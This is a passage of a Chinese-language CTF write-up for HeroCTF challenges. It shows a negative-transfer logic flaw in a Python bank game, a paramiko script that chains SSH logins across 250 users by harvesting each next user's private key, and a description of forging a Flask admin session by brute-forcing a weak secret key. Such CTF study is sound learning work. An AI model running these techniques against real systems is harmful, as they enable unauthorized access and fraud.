style="color: #986801;line-height: 26px;">0</span><br/>        <span style="color: #a626a4;line-height: 26px;">except</span>:<br/>            print(<span style="color: #50a14f;line-height: 26px;">&#34;An error has occured, enter only 1,2 or 3&#34;</span>)<br/>            input(<span style="color: #50a14f;line-height: 26px;">&#34;Press enter to continue...&#34;</span>)<br/>        clear()<br/>    <span style="color: #a626a4;line-height: 26px;">elif</span> menu == <span style="color: #50a14f;line-height: 26px;">&#34;store&#34;</span>:<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;=== HeroStore ===&#34;</span>)<br/>        print()<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;Welcome to the HeroStore !&#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;Here you can buy all sorts of things. Sadly, our stocks suffered from our success, and only one item remains. It&#39;s therefore pretty expensive.&#34;</span>)<br/>        print()<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;Choose an option :&#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;1 - Fl4g (100$)&#34;</span>)<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;2 - Back to Dashboard&#34;</span>)<br/>        option = <span style="color: #986801;line-height: 26px;">0</span><br/>        <span style="color: #a626a4;line-height: 26px;">try</span>:<br/>            option = int(input(<span style="color: #50a14f;line-height: 26px;">&#34;&gt;&gt; &#34;</span>))<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> option == <span style="color: #986801;line-height: 26px;">1</span>:<br/>                <span style="color: #a626a4;line-height: 26px;">if</span> ctf_player.balance &gt;= <span style="color: #986801;line-height: 26px;">100</span>:<br/>                    print(<span style="color: #50a14f;line-height: 26px;">f&#34;Congratz ! Here is your item : <span style="color: #e45649;line-height: 26px;">{FLAG}</span>&#34;</span>)<br/>                    input(<span style="color: #50a14f;line-height: 26px;">&#34;Press enter to continue...&#34;</span>)<br/>                    menu = <span style="color: #50a14f;line-height: 26px;">&#34;quit&#34;</span><br/>                <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>                    print()<br/>                    print(<span style="color: #50a14f;line-height: 26px;">&#34;Sorry, but you need more money to make that purchase...&#34;</span>)<br/>                    input(<span style="color: #50a14f;line-height: 26px;">&#34;Press enter to continue...&#34;</span>)<br/>                    menu = <span style="color: #50a14f;line-height: 26px;">&#34;store&#34;</span><br/>            <span style="color: #a626a4;line-height: 26px;">elif</span> option == <span style="color: #986801;line-height: 26px;">2</span>:<br/>                menu = <span style="color: #50a14f;line-height: 26px;">&#34;dashboard&#34;</span><br/>            <span style="color: #a626a4;line-height: 26px;">else</span>:<br/>                <span style="color: #986801;line-height: 26px;">1</span>/<span style="color: #986801;line-height: 26px;">0</span><br/>        <span style="color: #a626a4;line-height: 26px;">except</span>:<br/>            print(<span style="color: #50a14f;line-height: 26px;">&#34;An error has occured, enter only 1 or 2&#34;</span>)<br/>            input(<span style="color: #50a14f;line-height: 26px;">&#34;Press enter to continue...&#34;</span>)<br/>        clear()<br/>    <span style="color: #a626a4;line-height: 26px;">elif</span> menu == <span style="color: #50a14f;line-height: 26px;">&#34;transfer&#34;</span>:<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;=== Transfer Protocol ===&#34;</span>)<br/>        print()<br/>        print(<span style="color: #50a14f;line-height: 26px;">&#34;How much do you want to transfer the bank ?&#34;</span>)<br/>        <span style="color: #a626a4;line-height: 26px;">try</span>:<br/>            amount = int(input(<span style="color: #50a14f;line-height: 26px;">&#34;&gt;&gt; &#34;</span>))<br/>            <span style="color: #a626a4;line-height: 26px;">if</span> ctf_player.wireMoney(amount, BANK):<br/>                print(<span style="color: #50a14f;line-height: 26px;">&#34;Transfer completed !&#34;</span>)<br/>            menu = <span style="color: #50a14f;line-height: 26px;">&#34;dashboard&#34;</span><br/>            input(<span style="color: #50a14f;line-height: 26px;">&#34;Press enter to continue...&#34;</span>)<br/>        <span style="color: #a626a4;line-height: 26px;">except</span>:<br/>            print(<span style="color: #50a14f;line-height: 26px;">&#34;You have to enter an integer&#34;</span>)<br/>            input(<span style="color: #50a14f;line-height: 26px;">&#34;Press enter to continue...&#34;</span>)<br/>        clear()<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="139" data-backw="474" data-ratio="0.29336734693877553" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2352" src="https://wechat2rss.xlab.app/img-proxy/?k=5f7b2797&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAmX2O9Agbdhl9O6qBMS0ZJHHzT5iabs0Rib29ESVRbWLECF7H8OzjK1Kg%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="105" data-backw="474" data-ratio="0.22053231939163498" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2630" src="https://wechat2rss.xlab.app/img-proxy/?k=dd124b2c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAQZEGurG77A6H7faQYAsypBqMHr2JqIia47QQqbNHKicn0K0Ja3icCSvVA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">连接后发现购买 Flag需要 100<span style="cursor:pointer;"><span role="presentation" data-formula=", 而我们只有 10" data-formula-type="inline-equation" style=""><svg xmlns="http://www.w3.org/2000/svg" role="img" focusable="false" viewBox="0 -750 6390.9 950" aria-hidden="true" style="vertical-align: -0.452ex;width: 14.459ex;height: 2.149ex;"><g stroke="currentColor" fill="currentColor" stroke-width="0" transform="matrix(1 0 0 -1 0 0)"><g data-mml-node="math"><g data-mml-node="mo"><path data-c="2C" d="M78 35T78 60T94 103T137 121Q165 121 187 96T210 8Q210 -27 201 -60T180 -117T154 -158T130 -185T117 -194Q113 -194 104 -185T95 -172Q95 -168 106 -156T131 -126T157 -76T173 -3V9L172 8Q170 7 167 6T161 3T152 1T140 0Q113 0 96 17Z"></path></g><g data-mml-node="mo" transform="translate(444.7, 0)"><text data-variant="normal" transform="matrix(1 0 0 -1 0 0)" font-size="933.8px" font-family="serif">而</text><text data-variant="normal" transform="translate(933.7, 0) matrix(1 0 0 -1 0 0)" font-size="933.8px" font-family="serif">我</text><text data-variant="normal" transform="translate(1867.4, 0) matrix(1 0 0 -1 0 0)" font-size="933.8px" font-family="serif">们</text><text data-variant="normal" transform="translate(2801.1, 0) matrix(1 0 0 -1 0 0)" font-size="933.8px" font-family="serif">只</text><text data-variant="normal" transform="translate(3734.7, 0) matrix(1 0 0 -1 0 0)" font-size="933.8px" font-family="serif">有</text></g><g data-mml-node="mn" transform="translate(5390.9, 0)"><path data-c="31" d="M213 578L200 573Q186 568 160 563T102 556H83V602H102Q149 604 189 617T245 641T273 663Q275 666 285 666Q294 666 302 660V361L303 61Q310 54 315 52T339 48T401 46H427V0H416Q395 3 257 3Q121 3 100 0H88V46H114Q136 46 152 46T177 47T193 50T201 52T207 57T213 61V578Z"></path><path data-c="30" d="M96 585Q152 666 249 666Q297 666 345 640T423 548Q460 465 460 320Q460 165 417 83Q397 41 362 16T301 -15T250 -22Q224 -22 198 -16T137 16T82 83Q39 165 39 320Q39 494 96 585ZM321 597Q291 629 250 629Q208 629 178 597Q153 571 145 525T137 333Q137 175 145 125T181 46Q209 16 250 16Q290 16 318 46Q347 76 354 130T362 333Q362 478 354 524T321 597Z" transform="translate(500, 0)"></path></g></g></g></svg></span></span>, 关注函数 wireMoney 这里我们传入负数就可以额外获取 Money</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;">def wireMoney(self, amount, receiver):<br/>        if amount &gt; self.balance:<br/>            print(&#34;[!] DEBUG MESSAGE : You don&#39;t have enough money on your account to make this transfer&#34;)<br/>            return False<br/>        else:<br/>            self.balance -= amount<br/>            receiver.balance += amount<br/>            return True<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="125" data-backw="474" data-ratio="0.2634228187919463" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1192" src="https://wechat2rss.xlab.app/img-proxy/?k=c3ce29ce&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tANyamdIRqGPJCxe2jhQj1U1fibJGticPCw0LjzWloic0EngFsXRzvpYxeQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="98" data-backw="474" data-ratio="0.20719844357976655" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2056" src="https://wechat2rss.xlab.app/img-proxy/?k=9e2835b5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAtkLR81408vgy8ca9zrmESRRaD1MEUpb1hianYd5ybkiciaQhoGic55ibmlQ%2F640%3Fwx_fmt%3Dpng"/></figure><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="128" data-backw="474" data-ratio="0.27051177904142976" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2462" src="https://wechat2rss.xlab.app/img-proxy/?k=cf87ad91&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAnlaoBGnDLnpoR22RImKLia0v0Mqiaq0hzZcLQPL68e27mtMonklLpBWg%2F640%3Fwx_fmt%3Dpng"/></figure><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>SSHs</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="765" data-backw="474" data-ratio="1.6125541125541125" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="924" src="https://wechat2rss.xlab.app/img-proxy/?k=24f85938&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAD9Jq9Vf4q0BVqbTUicd6XYNI7yvhsydqLEqcVZyCCpThUPVibdSYcBZw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">创建环境后登陆第一个用户</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="263" data-backw="474" data-ratio="0.5553333333333333" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=49a359a1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAlGlhB8NuEnK2CMqumPCy2WiaiaicHC8tPicv24aGZIMXno3n7K6cNO1pwg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">下载下来看一下这个 ELF文件读取的是谁的 sshkey</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="249" data-backw="474" data-ratio="0.526" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=aeb803cd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAiasaOZ5zItTknrSv4GSHGCHkAjiaZiarHwTF2Gho5tsPvgaiaR1RFeYQ9g%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">看到是 user2 的 id_rsa SSH密钥文件，使用这个文件可以登陆 user2 用户, 而user2 用户下 getSSHKey 读取的是 user3 的 id_rsa看一下一共多少个用户</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="146" data-backw="474" data-ratio="0.30733333333333335" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=748b4491&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAA8CeODI5icbbia0dh8pA4bsPq6Pz2Mev6YL7DbaeqMYWH6eUjpA2gMHw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">一共有250个用户， 编写脚本SSH密钥登陆后执行 getSSHKey 获取下一个用户的SSH密钥，登陆后重复上一个动作</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># -*- coding: utf-8 -*-</span><br/><span style="color: #a626a4;line-height: 26px;">import</span> paramiko<br/><span style="color: #a0a1a7;font-style: italic;line-height: 26px;"># 请求服务器获取信息</span><br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">user1_login</span><span style="line-height: 26px;">()</span>:</span><br/>    ssh = paramiko.SSHClient()<br/>    ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())<br/>    ssh.connect(<span style="color: #50a14f;line-height: 26px;">&#39;chall.heroctf.fr&#39;</span>, <span style="color: #986801;line-height: 26px;">10073</span>, <span style="color: #50a14f;line-height: 26px;">&#39;user1&#39;</span>, <span style="color: #50a14f;line-height: 26px;">&#39;password123&#39;</span>)<br/>    stdin, stdout, stderr = ssh.exec_command(<span style="color: #50a14f;line-height: 26px;">&#39;./getSSHKey&#39;</span>)<br/>    getkey = stdout.read().decode(<span style="color: #50a14f;line-height: 26px;">&#39;utf-8&#39;</span>)<br/>    <span style="color: #a626a4;line-height: 26px;">with</span> open(<span style="color: #50a14f;line-height: 26px;">&#34;id_rsa_user1&#34;</span>, <span style="color: #50a14f;line-height: 26px;">&#34;w&#34;</span>, encoding=<span style="color: #50a14f;line-height: 26px;">&#34;utf-8&#34;</span>) <span style="color: #a626a4;line-height: 26px;">as</span> file:<br/>        file.write(getkey)<br/>    ssh.close()<br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">userkeylogin</span><span style="line-height: 26px;">()</span>:</span><br/>    ssh = paramiko.SSHClient()<br/>    <span style="color: #a626a4;line-height: 26px;">for</span> i <span style="color: #a626a4;line-height: 26px;">in</span> range(<span style="color: #986801;line-height: 26px;">1</span>,<span style="color: #986801;line-height: 26px;">251</span>):<br/>        user_num = <span style="color: #50a14f;line-height: 26px;">&#34;id_rsa_user&#34;</span> + str(i)<br/>        user_ssh = <span style="color: #50a14f;line-height: 26px;">&#34;user&#34;</span> + str(i+<span style="color: #986801;line-height: 26px;">1</span>)<br/>        user_id_rsa = <span style="color: #50a14f;line-height: 26px;">&#34;id_rsa_user&#34;</span> + str(i+<span style="color: #986801;line-height: 26px;">1</span>)<br/>        private_key = paramiko.RSAKey.from_private_key_file(user_num)<br/>        ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())<br/>        ssh.connect(<span style="color: #50a14f;line-height: 26px;">&#39;chall.heroctf.fr&#39;</span>, <span style="color: #986801;line-height: 26px;">10073</span>, user_ssh, pkey=private_key)<br/>        stdin, stdout, stderr = ssh.exec_command(<span style="color: #50a14f;line-height: 26px;">&#39;./getSSHKey&#39;</span>)<br/>        getkey = stdout.read().decode(<span style="color: #50a14f;line-height: 26px;">&#39;utf-8&#39;</span>)<br/>        <span style="color: #a626a4;line-height: 26px;">with</span> open(user_id_rsa, <span style="color: #50a14f;line-height: 26px;">&#34;w&#34;</span>, encoding=<span style="color: #50a14f;line-height: 26px;">&#34;utf-8&#34;</span>) <span style="color: #a626a4;line-height: 26px;">as</span> file:<br/>            print(<span style="color: #50a14f;line-height: 26px;">&#34;Login &#34;</span> + user_ssh)<br/>            file.write(getkey)<br/>        ssh.close()<br/><span style="color: #a626a4;line-height: 26px;">if</span> __name__ == <span style="color: #50a14f;line-height: 26px;">&#39;__main__&#39;</span>:<br/>    user1_login()<br/>    userkeylogin()<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="182" data-backw="474" data-ratio="0.384" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=51e85119&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAcEqHKV5ibA2HDmXeAicZiaDFTCd0fTk3q1nOMUmbrBiaVrRAJ5CMfzz5LA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">最后拿着最后一个密钥，登陆 user250 获取 Flag</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="206" data-backw="474" data-ratio="0.43333333333333335" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=8c4618ad&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAEyOstIWElvnfBQjU8sU6R2GPmChbanH12FvVsicWaouQLUn5TwxIicicg%2F640%3Fwx_fmt%3Dpng"/></figure><h2 data-tool="mdnice编辑器" style="font-weight: bold;font-size: 22px;margin-top: 20px;margin-right: 10px;"><span style="display: none;"></span><span style="font-family: STHeitiSC-Light;color: rgb(14, 136, 235);font-weight: bolder;display: inline-block;padding-left: 10px;border-left: 5px solid rgb(14, 136, 235);">Web</span><span></span></h2><h3 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;color: rgb(14, 136, 235);"><span style="display: none;"></span><span>SmallMistakeBigMistake</span><span style="display: none;"></span></h3><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="641" data-backw="474" data-ratio="1.350730688935282" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="958" src="https://wechat2rss.xlab.app/img-proxy/?k=f7aa24f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAW0VNfm06eQLQZg5gI4rkVmUaTU122VBFVcWgjw9h3bm4vrdlic65LRg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">下载源码文件</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="261" data-backw="474" data-ratio="0.5493333333333333" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1500" src="https://wechat2rss.xlab.app/img-proxy/?k=fe441d99&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAhgOjoPAYJWcs3uJHoPuY37SZGN0gDMYfV3VNL634CpPNmPT9KX0LqQ%2F640%3Fwx_fmt%3Dpng"/></figure><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #fafafa;border-radius: 5px;"><span style="color: #a0a1a7;font-style: italic;line-height: 26px;">#!/usr/bin/env python</span><br/><span style="color: #a626a4;line-height: 26px;">from</span> flask <span style="color: #a626a4;line-height: 26px;">import</span> Flask, session, render_template<br/><span style="color: #a626a4;line-height: 26px;">from</span> string <span style="color: #a626a4;line-height: 26px;">import</span> hexdigits<br/><span style="color: #a626a4;line-height: 26px;">from</span> random <span style="color: #a626a4;line-height: 26px;">import</span> choice<br/><span style="color: #a626a4;line-height: 26px;">from</span> os <span style="color: #a626a4;line-height: 26px;">import</span> getenv<br/>app = Flask(__name__)<br/>app.secret_key = choice(hexdigits) * <span style="color: #986801;line-height: 26px;">32</span><br/><span style="color: #4078f2;line-height: 26px;">@app.route(&#34;/&#34;, methods=[&#34;GET&#34;])</span><br/><span style="line-height: 26px;"><span style="color: #a626a4;line-height: 26px;">def</span> <span style="color: #4078f2;line-height: 26px;">index</span><span style="line-height: 26px;">()</span>:</span><br/>    flag = <span style="color: #50a14f;line-height: 26px;">&#34;You are not admin !&#34;</span><br/>    <span style="color: #a626a4;line-height: 26px;">if</span> session <span style="color: #a626a4;line-height: 26px;">and</span> session[<span style="color: #50a14f;line-height: 26px;">&#34;username&#34;</span>] == <span style="color: #50a14f;line-height: 26px;">&#34;admin&#34;</span>:<br/>        flag = getenv(<span style="color: #50a14f;line-height: 26px;">&#34;FLAG&#34;</span>)<br/>    <span style="color: #a626a4;line-height: 26px;">return</span> render_template(<span style="color: #50a14f;line-height: 26px;">&#34;index.html&#34;</span>, flag=flag)<br/><span style="color: #a626a4;line-height: 26px;">if</span> __name__ == <span style="color: #50a14f;line-height: 26px;">&#34;__main__&#34;</span>:<br/>    app.run(host=<span style="color: #50a14f;line-height: 26px;">&#34;0.0.0.0&#34;</span>, port=int(getenv(<span style="color: #50a14f;line-height: 26px;">&#34;PORT&#34;</span>)))<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">访问题目主页</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="176" data-backw="474" data-ratio="0.3712757830404889" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="2618" src="https://wechat2rss.xlab.app/img-proxy/?k=1e7c52bb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tApMvBt7O1lezVIPWZRWhYQfHO2SxTqHevP69ibsqzfa2WEeibDXtYicQcQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">根据源代码看到 app.secret_key 随机性不高，有被爆破的可能性，可以使用工具 flask-session-cookie-manager  根据 {&#39;username&#39;:&#39;admin&#39;} 生成 session</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img class="rich_pages wxw-img" data-backh="146" data-backw="474" data-ratio="0.30809128630705396" style="border-radius: 0px 0px 5px 5px;display: block;margin: 20px auto;width: 100%;height: auto;object-fit: contain;box-shadow: rgb(132, 161, 168) 0px 10px 15px;" data-type="png" data-w="1928" src="https://wechat2rss.xlab.app/img-proxy/?k=b28b24be&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FibicicIH182el6AyvUAlh4KiavzZXGIl92tAcaQwuAlIqQo1t3oVeSX0fLu47aYBHS9621Z57VaBYHHOSpeu82mvPg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 10px;line-height: 1.75;letter-spacing: 0.2em;font-size: 15px;word-spacing: 0.1em;">编写一个爆破脚本获取正确的 session</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/rK1nsTlCD8Ey8nfSstJooibhiaOsaDuicTr2ianicIdCEOibFxWlHdL98MbndO8x02cutP0egmiazFJFYDInudH0VsBFW0NFZ1rawMN/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(250, 250, 250);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #383a42;display: 